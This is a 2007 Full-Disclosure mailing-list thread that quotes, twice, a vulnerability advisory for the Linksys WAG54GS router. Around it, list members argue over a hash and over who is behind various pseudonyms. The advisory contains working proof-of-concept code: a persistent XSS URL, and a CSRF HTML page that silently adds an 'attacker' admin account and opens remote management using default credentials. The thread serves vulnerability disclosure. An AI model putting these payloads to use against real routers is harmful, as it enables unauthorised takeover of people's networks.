Date: Wed, 27 Jun 2007 23:52:36 +0100
From: "Pete Simpson" <Pete.Simpson@...arswift.com>
To: "Dr. Neal Krawetz PhD" <neal@...wetz.org>, "pagvac" 
	<unknown.pentester@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Persistent XSS and CSRF on network
 appliance[subject corrected :) ]

I haven't followed all of this rather strange thread, but I wonder if
n_td_v, gobble_ and the venerable Doctor may be one and the same group?
After all few educated individuals would be likely to be so pretentious
as to declare themselves as both Dr and PhD? As if we might confuse the
guy, on this list with a doctor of medicine or a doctor of divinity or a
witch doctor? Odd.

-----Original Message-----
From: full-disclosure-bounces@...ts.grok.org.uk
[mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of Dr. Neal
Krawetz PhD
Sent: 27 June 2007 23:35
To: pagvac
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: [Full-disclosure] Persistent XSS and CSRF on network
appliance[subject corrected :) ]

I believe this makes you the fool.

- doc neal, phd
http://www.hackerfactor.com/blog/


On Wed, Jun 27, 2007 at 11:07:11PM +0100, pagvac wrote:
> I didn't intend to send it twice.
> 
> On 6/27/07, Dr. Neal Krawetz PhD <neal@...wetz.org> wrote:
> >We heard you the first time, gobbles aka n3td3v.
> >
> >- doc neal
> >http://www.hackerfactor.com/blog/
> >
> >On Wed, Jun 27, 2007 at 10:49:25PM +0100, pagvac wrote:
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Nice look up to
http://unknown.pentester.googlepages.com/sitemap.xml
> >>
> >> If you bothered that much you deserve the advisory I guess :-D.
> >>
> >> btw, I didn't know google pages have sitemap.xml enabled by
default.
> >>
> >> So no hash cracking here, just to set things straight.
> >>
> >> Joey Mengele wrote:
> >> > After plugging this hash into John The Ripper, I was able to
> >> > reproduce the text of the original advisory. It follows in
> >> > entirety. For those wishing to verify the hash provided by the
> >> > architect, I have also included the advisory in attachment form
as
> >> > a convenience for the skeptics who say MD5 can not be reversed.
> >> >
> >> > J
> >> >
> >> > ___ BEGIN LAME CRACKED ADVISORY ___
> >> > Persistent XSS and CSRF and on Wireless-G ADSL Gateway with
> >> > SpeedBooster (WAG54GS)
> >> >
> >> > == Date found ==
> >> >
> >> > 24 June 2007
> >> >
> >> > == Firmware Version ==
> >> >
> >> > V1.00.06
> >> >
> >> > == Description ==
> >> >
> >> >
> >> > There are several persistent XSS vulnerabilities on the
> >> > '/setup.cgi' script.
> >> >
> >> > It is possible to inject JavaScript by assigning a payload like
the
> >> > following
> >> > to any of the vulnerable parameters:
> >> >
> >> >> <script>[PAYLOAD]</script>
> >> >
> >> > The vulnerable (non-sanitized) parameters are the following:
> >> >
> >> > 'devname'
> >> > 'snmp_getcomm'
> >> > 'snmp_setcomm'
> >> > 'c4_trap_ip_'
> >> >
> >> > Additionally, all HTTP requests are not tokenized using non-
> >> > predictable values.
> >> > Thus, all requests to the router's HTTP interface are vulnerable
to
> >> > Cross-site
> >> > Request Forgeries (CSRF), perhaps by design.
> >> >
> >> > The following is an example of a HTTP request (notice the lack of
> >> > non-predictable tokens):
> >> >
> >> >     POST /setup.cgi HTTP/1.1
> >> >     Authorization: Basic YWRtaW46YWRtaW4=
> >> >
> >> >
mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file
> >> > =Factorydefaults.htm&next_file=index.htm&message=
> >> >
> >> > Although the original request is a POST, we can convert it to a
> >> > GET, so that all posted parameters can be submitted on a single
URL.
> >> >
> >> > For example, the previous POST request can be converted to a URL
> >> > such as the following:
> >> >
> >> >
http://admin:admin@....168.1.1/setup.cgi?mtenRestore=Restore+Factor
> >> >
y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f
> >> > ile=index.htm&message=
> >> >
> >> > By forging administrative requests ("Administration" button on
the
> >> > router's HTML menu), an attacker can compromise the router
provided
> >> > the
> >> > victim user visits a malicious URL or HTML page.
> >> >
> >> > The attack can only be successfuly if any of the following
> >> > conditions are met:
> >> >
> >> > - the administrator hasn't changed the default credentials
> >> > (admin/admin)
> >> > - the administrator's browser has an active authentication
session
> >> > with the router's interface when the attack happens
> >> >   (highly unlikely)
> >> >
> >> >
> >> > == Persistent XSS PoC ==
> >> >
> >> > The following URL creates a DoS condition by making the
> >> > "Administration" page inaccessible since 'history.back()'
> >> > will run everytime the Administration page is visited. Thus the
> >> > administrator won't be able to ever change the
> >> > default credentials unless a hard reset is performed on using the
> >> > router's physical "restart" switch:
> >> >
> >> >
http://admin:admin@....168.1.1/setup.cgi?user_list=1&sysname=admin&
> >> >
sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http
> >> >
_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e
> >> >
nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=
> >> >
yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()<
> >> >
/script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=ena
> >> >
ble&todo=save&this_file=Administration.htm&next_file=Administration.
> >> > htm&message=
> >> >     http://tinyurl.com/36sjzw
> >> >
> >> >
> >> > == CSRF PoC ==
> >> >
> >> > The following HTML page does the following:
> >> >
> >> > - adds an *additional* administrative account, with a username
> >> > equals to 'attacker' and a password equals to '0wned' (without
> >> > removing original admin account!)
> >> > - enables remote HTTP management over port 1337
> >> > - sets other settings that are inrelevant to this discussion
> >> >
> >> >     <html>
> >> >     <body>
> >> >         <script>
> >> >         // send 2 requests to add an administrative account and
enable
> >> > remote management
> >> >         // tries with default credentials and with credentials
cached 
> >by
> >> > browser (if any)
> >> >
> >> >         var img = new Image();
> >> >         var img2 = new Image();
> >> >
> >> >         img.src =
> >> >
'http://admin:admin@....168.1.1/setup.cgi?user_list=8&sysname=attack
> >> >
er&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&h
> >> >
ttp_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wla
> >> >
n_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchang
> >> >
ed=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable
> >> >
&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Admin
> >> > istration.htm&next_file=Administration.htm&message=';
> >> >         img2.src =
> >> >
'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd
> >> >
=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=
> >> >
1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=ena
> >> >
ble&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_rem
> >> >
ote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enab
> >> >
le=enable&h_wlan_enable=enable&todo=save&this_file=Administration.ht
> >> > m&next_file=Administration.htm&message=';
> >> >         </script>
> >> >     </body>
> >> >     </html>
> >> >
> >> > The first URL forges the administrative request using the default
> >> > credentials, so it won't work if default credentials
> >> > have been changed.
> >> >
> >> > The second URL doesn't specify any credentials as an attempt to
use
> >> > the browser's cached credentials.
> >> > If the admin user has clicked on "Save password" on the basic
> >> > authentication prompt, most browsers will
> >> > prompt the user to confirm submitting the cached credentials. The
> >> > only situation in which browsers won't
> >> > ask the user to confirm submitting the credentials would be if
the
> >> > malicious CSRF page was visited while
> >> > the browser has an active authenticated session with the router's
> >> > HTTP interface (very unlikely).
> >> >
> >> >
> >> > == Additional notes ==
> >> >
> >> > - router reboots after saving settings (requests sent to
> >> > 'setup.cgi')
> >> >
> >> > - all attacks were tested using Internet Explorer 7
> >> >
> >> > - No firmware updates were available at time of testing, only GPL
> >> > code is available:
> >> >
> >> >
http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagen
> >> >
ame=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisito
> >> > rWrapper&lid=8904040638B02&displaypage=download#versiondetail
> >> >
> >> >
> >> > == References ==
> >> >
> >> > http://www.linksys.com/
> >> >
> >> >
> >> > == Credits ==
> >> >
> >> > pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]
> >> > ___ END LAME CRACKED ADVISORY ___
> >> >
> >> > On Wed, 27 Jun 2007 16:29:43 -0400 pagvac
> >> > <unknown.pentester@...il.com> wrote:
> >> >> The file "research.txt" will be provided once the vendor fixes
the
> >> >> issues. At that point anyone can check that the hash matches the
> >> >> one
> >> >> included in this post.
> >> >>
> >> >> Thank you.
> >> >>
> >> >> Joey Mengele wrote:
> >> >>> Please provide the original content of research.txt so I can
> >> >> verify
> >> >>> that the hash is correct. I will also need the hash of your
> >> >>> md5sum.exe. Thanks.
> >> >>>
> >> >>> J
> >> >>>
> >> >>> On Wed, 27 Jun 2007 16:02:16 -0400 pagvac
> >> >>> <unknown.pentester@...il.com> wrote:
> >> >>>> The HTTP interface of a network appliance has been researched
> >> >> and
> >> >>>> found to be vulnerable to several persistent XSS and CSRF.
> >> >>>>
> >> >>>> Such research was done by pdp (architect) and myself. We
> >> >> informed
> >> >>>> the
> >> >>>> vendor and will publish the details when a fix is available.
> >> >>>>
> >> >>>> The following is the MD5 hash for the advisory file.
> >> >>>>
> >> >>>> $ md5sum.exe research.txt
> >> >>>> 3db1d71fc3a0eae119617b3b1124206f  *research.txt
> >> >>>>
> >> >>>> Regards,
> >> >>>>
> >> >>>> --
> >> >>>> pagvac
> >> >>>> [http://gnucitizen.org, http://ikwt.com/]
> >> >>> --
> >> >>> Click here for to find products that will help grow your small
> >> >> business.
> >> >>
http://tagline.hushmail.com/fc/Ioyw6h4eDJc9UN71zvlsGp4ZGBzvqUZDr59L
> >> >> zooSm6N56gZuYA97Kt/
> >> >>>
> >> >>
> >> >> --
> >> >> pagvac
> >> >> [http://gnucitizen.org, http://ikwt.com/]
> >> >
> >> > --
> >> > Click to make millions by owning your own franchise
> >> > 
>
>http://tagline.hushmail.com/fc/Ioyw6h4eB8rDoXd3rzWGRyuLVrO8wOmiWFoFiDB4
VYIwImlRd0K9S9/
> >> >
> >> >
----------------------------------------------------------------------
> >> >
> >> > Persistent XSS and CSRF and on Wireless-G ADSL Gateway with
> >> SpeedBooster (WAG54GS)
> >> >
> >> > == Date found ==
> >> >
> >> > 24 June 2007
> >> >
> >> > == Firmware Version ==
> >> >
> >> > V1.00.06
> >> >
> >> > == Description ==
> >> >
> >> >
> >> > There are several persistent XSS vulnerabilities on the
'/setup.cgi'
> >> script.
> >> >
> >> > It is possible to inject JavaScript by assigning a payload like
the
> >> following
> >> > to any of the vulnerable parameters:
> >> >
> >> >> <script>[PAYLOAD]</script>
> >> >
> >> > The vulnerable (non-sanitized) parameters are the following:
> >> >
> >> > 'devname'
> >> > 'snmp_getcomm'
> >> > 'snmp_setcomm'
> >> > 'c4_trap_ip_'
> >> >
> >> > Additionally, all HTTP requests are not tokenized using
non-predictable
> >> values.
> >> > Thus, all requests to the router's HTTP interface are vulnerable
to
> >> Cross-site
> >> > Request Forgeries (CSRF), perhaps by design.
> >> >
> >> > The following is an example of a HTTP request (notice the lack of
> >> non-predictable tokens):
> >> >
> >> >     POST /setup.cgi HTTP/1.1
> >> >     Authorization: Basic YWRtaW46YWRtaW4=
> >> >
> >> >
> >> 
>
>mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Fac
torydefaults.htm&next_file=index.htm&message=
> >> >
> >> > Although the original request is a POST, we can convert it to a
GET, so
> >> that all posted parameters can be submitted on a single URL.
> >> >
> >> > For example, the previous POST request can be converted to a URL
such
> >> as the following:
> >> >
> >> >
> >> 
>
>http://admin:admin@....168.1.1/setup.cgi?mtenRestore=Restore+Factory+De
faults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=inde
x.htm&message=
> >> >
> >> > By forging administrative requests ("Administration" button on
the
> >> router's HTML menu), an attacker can compromise the router provided
the
> >> > victim user visits a malicious URL or HTML page.
> >> >
> >> > The attack can only be successfuly if any of the following
conditions
> >> are met:
> >> >
> >> > - the administrator hasn't changed the default credentials 
> >(admin/admin)
> >> > - the administrator's browser has an active authentication
session with
> >> the router's interface when the attack happens
> >> >   (highly unlikely)
> >> >
> >> >
> >> > == Persistent XSS PoC ==
> >> >
> >> > The following URL creates a DoS condition by making the
> >> "Administration" page inaccessible since 'history.back()'
> >> > will run everytime the Administration page is visited. Thus the
> >> administrator won't be able to ever change the
> >> > default credentials unless a hard reset is performed on using the
> >> router's physical "restart" switch:
> >> >
> >> >
> >> 
>
>http://admin:admin@....168.1.1/setup.cgi?user_list=1&sysname=admin&sysP
asswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport
=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable
&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_man
agement=enable&c4_trap_ip_="><script>history.back()</script>&h_snmp_enab
le=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=
Administration.htm&next_file=Administration.htm&message=
> >> >     http://tinyurl.com/36sjzw
> >> >
> >> >
> >> > == CSRF PoC ==
> >> >
> >> > The following HTML page does the following:
> >> >
> >> > - adds an *additional* administrative account, with a username
equals
> >> to 'attacker' and a password equals to '0wned' (without removing
> >> original admin account!)
> >> > - enables remote HTTP management over port 1337
> >> > - sets other settings that are inrelevant to this discussion
> >> >
> >> >     <html>
> >> >     <body>
> >> >         <script>
> >> >         // send 2 requests to add an administrative account and
enable
> >> remote management
> >> >         // tries with default credentials and with credentials
cached
> >> by browser (if any)
> >> >
> >> >         var img = new Image();
> >> >         var img2 = new Image();
> >> >
> >> >         img.src =
> >> 
>
>'http://admin:admin@....168.1.1/setup.cgi?user_list=8&sysname=attacker&
sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wan
port=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=en
able&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote
_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enab
le&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file
=Administration.htm&message=';
> >> >         img2.src =
> >> 
>
>'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0w
ned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&de
vname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Sa
ve+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=
enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_en
able=enable&todo=save&this_file=Administration.htm&next_file=Administrat
ion.htm&message=';
> >> >         </script>
> >> >     </body>
> >> >     </html>
> >> >
> >> > The first URL forges the administrative request using the default
> >> credentials, so it won't work if default credentials
> >> > have been changed.
> >> >
> >> > The second URL doesn't specify any credentials as an attempt to
use the
> >> browser's cached credentials.
> >> > If the admin user has clicked on "Save password" on the basic
> >> authentication prompt, most browsers will
> >> > prompt the user to confirm submitting the cached credentials. The
only
> >> situation in which browsers won't
> >> > ask the user to confirm submitting the credentials would be if
the
> >> malicious CSRF page was visited while
> >> > the browser has an active authenticated session with the router's
HTTP
> >> interface (very unlikely).
> >> >
> >> >
> >> > == Additional notes ==
> >> >
> >> > - router reboots after saving settings (requests sent to
'setup.cgi')
> >> >
> >> > - all attacks were tested using Internet Explorer 7
> >> >
> >> > - No firmware updates were available at time of testing, only GPL
code
> >> is available:
> >> >
> >> > 
>
>http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagename
=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisitorWrappe
r&lid=8904040638B02&displaypage=download#versiondetail
> >> >
> >> >
> >> > == References ==
> >> >
> >> > http://www.linksys.com/
> >> >
> >> >
> >> > == Credits ==
> >> >
> >> > pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]
> >>
> >>
> >> - --
> >> pagvac
> >> [http://gnucitizen.org, http://ikwt.com/]
> >> -----BEGIN PGP SIGNATURE-----
> >> Version: GnuPG v1.4.2.2 (MingW32)
> >>
> >> iD8DBQFGgttjjXB4hX6OC/cRAjPBAKCHfyKTxufqkA3umJivYkePZr2IxQCfaIPd
> >> /NTsZfC0sSYvWezySDRmtZY=
> >> =2L6c
> >> -----END PGP SIGNATURE-----
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >
> 
> 
> -- 
> pagvac
> [http://gnucitizen.org, http://ikwt.com/]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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